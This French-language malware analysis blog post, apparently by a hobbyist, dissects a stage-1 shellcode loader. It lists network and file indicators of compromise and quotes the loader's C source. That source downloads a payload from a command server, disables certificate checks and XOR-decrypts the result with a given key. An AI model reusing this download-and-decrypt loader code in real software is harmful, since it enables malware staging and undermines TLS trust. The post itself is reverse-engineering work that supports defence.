
Analysis for stage1 shellcode loader from hacking
Organigramme du code
IoC réseau
https://172\[.]20\[.]20\[.]164
Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/5.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; MDDRJS)
IoC d'infection (fichiers déposés)
2s5s7k8w8b4i.dat
9z8o5d9l0p6c.dat
Ok donc wtf. C'est parti. Loader.sln ou loader.c
ok donc le démarrage, et du démarrage vers asm ? que se passe-t-il dans asm ? du shellcode PIC (code indépendant de la position). cool, et qu'est-ce que ça fait ? en gros, ça fera Loader(0xdeadbeef). pourquoi ?? je ne sais pas pourquoi ils ont choisi cette adresse, mais à cette adresse il devrait y avoir le code dépaqueté. en tout cas, continuons et voyons ce qui se passe dans le débogueur. Correction : on fait Loader(eax), et eax est une adresse IP avec un fichier .dat .png)
Maintenant, si on suit le flux, on entre dans le loader

Pour l'instant, on va simplement passer LoadVtable, car elle est ubiquitaire et grosse, et on y reviendra après avoir fini d'analyser le reste de ses capacités. Maintenant, on va inspecter DownloadAndDecryptTls.
DownloadAndDecryptTls

Maintenant, un truc sympa que j'ai remarqué pendant le débogage.
C'est que, comme vous pouvez le voir dans l'image ci-dessus et dans l'extrait suivant
DWORD dwFileSize;
LPBYTE lpFileBuffer = DownloadAndDecryptTls(&pVtable, lpLoaderConfig->strUserAgent,
lpLoaderConfig->strUrl,
&dwFileSize,
lpLoaderConfig->dwXorKey,
lpLoaderConfig->dwXorKey ? TRUE : FALSE);
c'est que lpLoaderConfig est récupéré dynamiquement. mais d'où ? Eh bien, apparemment, il télécharge ou utilise en interne ce fichier .dat ? et qu'est-ce que ce fichier .dat est. En inspectant l'archive
on voit un autre fichier cool, shellcode_0x95d. Si on l'inspecte dans hxd
vous verrez un tas d'appels API et cette URL. donc en gros, c'est le vrai shellcode :) génial, on y jettera un œil après avoir fini avec ça.
Maintenant, pour plus tard, la clé xor est 0x6281f17f. Maintenant, une brève analyse jusqu'au point intéressant ValidateCa. Jusque-là, rien de vraiment spécial ne se passe dans cette fonction ; le plus intéressant, c'est l'appel à InternetOpenA, qui initialise la dll pour les trucs réseau. Ce serait sympa de l'inspecter dynamiquement pour voir une astuce qu'ils ont faite. Ils le font en code C par
hOpen = lpTable->InternetOpenA(strUserAgent, INTERNET_OPEN_TYPE_PRECONFIG, NULL, NULL, 0);
ce qui est un argument de moins pour l'API. Bref, assez parlé, voyons ce qui se passe dans le code.
Donc dans le débogueur, ça ressemble à ça
Donc je suppose que ce qui se passe ici, c'est que comme il utilise INTERNET_OPEN_TYPE_PRECONFIG, il utilise la structure préconfigurée et lptable contient déjà l'URL.
Bref, ensuite on a ValidateCA
donc bref, pourquoi on fait ça : parce que ça détermine simplement si on veut faire du https ou du http
DWORD dwHttpsFlag = 0;
if( ValidateCA(lpTable) )
dwHttpsFlag = INTERNET_FLAG_SECURE;
else
dwHttpsFlag = INTERNET_FLAG_SECURE|INTERNET_FLAG_IGNORE_CERT_CN_INVALID|INTERNET_FLAG_IGNORE_CERT_DATE_INVALID;
Ensuite, on fait une simple requête GET puis on télécharge le fichier en http. Rien de bien sophistiqué ici. Si vous vous demandez s'il y a quelque chose de spécial dans ce code, je pense que non ; vous pouvez probablement trouver des exemples sur Internet pour faire ça. Comment la fonction DownloadFile télécharge-t-elle les fichiers ? En utilisant InternetReadFileExA.
Bref, voici le code
if( hOpen )
{
hConnect = lpTable->fpInternetConnect(hOpen, serverName, INTERNET_DEFAULT_HTTPS_PORT, NULL, NULL, INTERNET_SERVICE_HTTP, 0, 0 );
if( hConnect )
{
hReq = lpTable->fpHttpOpenRequest(hConnect, strGet, strResource, strHTTPVersion, NULL, NULL, dwHttpsFlag, 0 );
if( hReq )
{
if( !ValidateCA(lpTable) )
{
DWORD dwFlags;
dwBuffLen = sizeof(dwFlags);
lpTable->fpInternetQueryOption(hReq, INTERNET_OPTION_SECURITY_FLAGS,(LPVOID)&dwFlags, &dwBuffLen);
dwFlags |= SECURITY_FLAG_IGNORE_UNKNOWN_CA;
lpTable->fpInternetSetOption(hReq, INTERNET_OPTION_SECURITY_FLAGS, &dwFlags, sizeof (dwFlags) );
}
if( lpTable->fpHttpSendRequest(hReq, NULL, 0, NULL, 0) )
{
dwBuffLen = 16;
dwIdx = 0;
lpTable->HttpQueryInfoW(hReq, HTTP_QUERY_CONTENT_LENGTH, strBuff, &dwBuffLen, &dwIdx);
*dwFileLen = lpTable->wtoi((LPWSTR) strBuff);
LPBYTE lpFileBuffer = (LPBYTE) lpTable->VirtualAlloc(NULL, *dwFileLen, MEM_COMMIT, PAGE_READWRITE);
if (DownloadFile(lpTable, hReq, lpFileBuffer, *dwFileLen))
{
if (bXored)
lpPayload = Decrypt(lpFileBuffer, *dwFileLen, dwXorKey);
else
lpPayload = lpFileBuffer;
}
} // if( lpTable->fpHttpSendRequest )
} // if( hReq )
} // if( hConnect )
} // if( hOpen )
/* close handles */
if( hReq )
lpTable->fpInternetCloseHandle(hReq);
if( hConnect)
lpTable->fpInternetCloseHandle(hConnect);
if( hOpen)
lpTable->fpInternetCloseHandle(hOpen);
return lpPayload;
Maintenant, inspectons le if de déchiffrement pour voir s'il entre dans la fonction de déchiffrement ou non. Selon mes hypothèses lors de l'expérimentation, bXored sera vrai, donc on devrait entrer dans la fonction de déchiffrement. Malheureusement, notre hypothèse était fausse car
.png)
lpTable->fpHttpSendRequest is being used in the id not bXored and since the server is down
nous ne pourrons pas envoyer de requête à ce serveur malveillant. Je pourrais émuler un serveur avec frida, mais à quelle fin, puisque nous avons déjà le payload nous-mêmes. Il ne reste plus qu'à le désassembler et à décider s'il est chiffré ou non. Le déchiffrement ressemble aussi à
LPDWORD lpD = (LPDWORD) lpBuffer;
LPBYTE lpB = (LPBYTE) lpBuffer;
for (UINT i=0; i<dwBuffLen/4; i++)
lpD[i] ^= dwXorKey;
for (UINT i=dwBuffLen - (dwBuffLen%4); i<dwBuffLen; i++)
lpB[i] ^= 0x41;
return lpBuffer;
ce qui est un xor à deux clés et dwXorkey vaut 0x6281f17f.
Revenons maintenant à la fonction Loader pour résoudre la dernière partie du chargeur.
